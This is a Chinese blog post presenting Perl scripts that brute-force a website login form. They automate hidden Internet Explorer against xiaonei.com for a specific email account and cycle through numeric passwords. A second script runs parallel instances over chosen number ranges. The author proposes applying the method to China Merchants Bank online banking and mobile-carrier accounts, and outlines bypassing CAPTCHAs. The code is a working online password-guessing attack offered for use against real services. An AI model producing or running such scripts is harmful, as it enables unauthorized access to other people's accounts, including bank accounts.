![]() |
Perl穷举破解表单密码的实现 |
Perl是一个异常强大的网络处理工具,而且它的库是相当的多与全面。老同学的网站密码丢了,让我找找看,我就琢磨琢磨学习了一下Perl。 如果是普通的表单,只需要用Perl自带的LWP库就可以了,但是有些网站会首先检测你的浏览器是否支持Cookies,是否是“真实的”浏览器而不是机器人代理,更有甚者首先检测你的浏览器是否支持脚本,如果不支持脚本是根本不让你浏览任何信息的。这个时候LWP就没有什么用了。 于是乎我想到了COM,调用Internet Explorer的接口。先用C++实现了一个,速度虽然是快,可是如何获取Document进行网站的反馈判定却成了难题,其中牵涉到一个等待同步的问题,总是出错,一气之下就废了它。去CPAN下载了一个叫做Win32::IEAutomation的库,省得手动初始化COM对象,还要查CSLID等等。guesser脚本很是简单,如下。 use Win32::IEAutomation; my $low = @ARGV[0]; my $up = @ARGV[1]; if ( $low > $up ){ print "UP LOW ERROR!"; exit 1; }; my $ie = Win32::IEAutomation->new( visible => 0 ); $ie->gotoURL('http://xiaonei.com/Login.do'); my $user = "papyna\@126.com"; my $time = time; while( $low <= $up ){ my $pwdstr = ""; $pwdstr = sprintf "\%.6u",$low; $ie->getTextBox('id:',"email")->SetValue($user); $ie->getTextBox('id:',"password")->SetValue($pwdstr); $ie->getButton('id:',"login")->Click; $ie->WaitforDone; if( $ie->VerifyText('密码错误') ){ }else{ $time = time - $time; print "Password Is : ",$pwdstr,"\n"; print $time," Seconds Passed"; exit 0; }; $low++; } print "Not In this range From ",$low," To ",$up,"\n"; exit 0; 原理很简单,输入一个数字范围,然后一直调用网站的登陆脚本,直到正确的登陆。其实这也牵涉到一个字典的问题,这个就是穷举破解的最大麻烦。不过思想是可以值得借鉴的。速度瓶颈在网络上,机器代码执行得飞快,等待页面反馈太慢。为了,加速,我想到了多线程。通过这个脚本,同时执行多个上述脚本的实例。代码也很简单。 use Win32::Process; use Win32; sub ErrorReport{ print Win32::FormatMessage( Win32::GetLastError() ); } Win32::Process::Create($ProcessObj1, "C:\\Perl\\bin\\perl.exe", "perl guesser.pl 870100 870133", 0, NORMAL_PRIORITY_CLASS, ".")|| die ErrorReport(); Win32::Process::Create($ProcessObj2, "C:\\Perl\\bin\\perl.exe", "perl guesser.pl 861095 861231", 0, NORMAL_PRIORITY_CLASS, ".")|| die ErrorReport(); $ProcessObj1->Wait(INFINITE); $ProcessObj2->Wait(INFINITE); 然后就是漫长的等待了,甚至可以听到浏览器的声音,速度缓慢的真是痛苦。不过,破解招商银行网上银行大众版 —— HTTPS连接与加密插件,IE都是内置,只要先安装好,就可以传入URL进行穷举了。不过有个问题就是,验证码。对于这个我还没有实现,不过思路很简单,手动写一个读写图像文件,判断数字的函数,图片可以从IE缓存获得。破解移动联通手机号码密码也可以顺着这个思路来。 |